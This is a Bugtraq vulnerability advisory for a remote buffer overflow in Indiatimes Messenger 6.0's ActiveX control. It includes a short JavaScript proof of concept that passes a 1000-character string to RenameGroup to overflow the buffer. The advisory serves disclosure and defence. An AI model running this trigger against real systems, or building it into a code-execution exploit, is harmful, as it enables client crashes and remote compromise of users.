Indiatimes Messenger Remote Buffer Overflow Vulnerability

Bugtraq ID:	14705
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 31 2005 12:00AM
Updated:	Aug 31 2005 12:00AM
Credit:	Discovery is credited to ViPeR <[email protected]>.
Vulnerable:	Indiatimes Messenger Indiatimes Messenger 6.0
Not Vulnerable:

Indiatimes Messenger Remote Buffer Overflow Vulnerability

Indiatimes Messenger is reported prone to a remote buffer overflow vulnerability.

A successful attack may trigger a crash in the client or lead to arbitrary code execution. The attacker may then gain unauthorized remote access in the context of the user running the application.

Indiatimes Messenger 6.0 is affected by this issue.

Indiatimes Messenger Remote Buffer Overflow Vulnerability

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

The following proof of concept is available:
[script]
var obj1 = new
ActiveXObject("MMClient.MunduMessenger.1");
var buf = "";

for(i=0; i<1000; i++)
{
buf += "A";
}

while(obj1.GetServerStatus() != "Logged In"); //wait
till login

obj1.RenameGroup("Friends", buf, 5);
[/script]

Indiatimes Messenger Remote Buffer Overflow Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Indiatimes Messenger Remote Buffer Overflow Vulnerability

References:

• Indiatimes Messenger Home Page (Indiatimes Messenger)
  
• Indiatimes Messenger 6.0 Buffer Overflow (Remote) (ViPeR )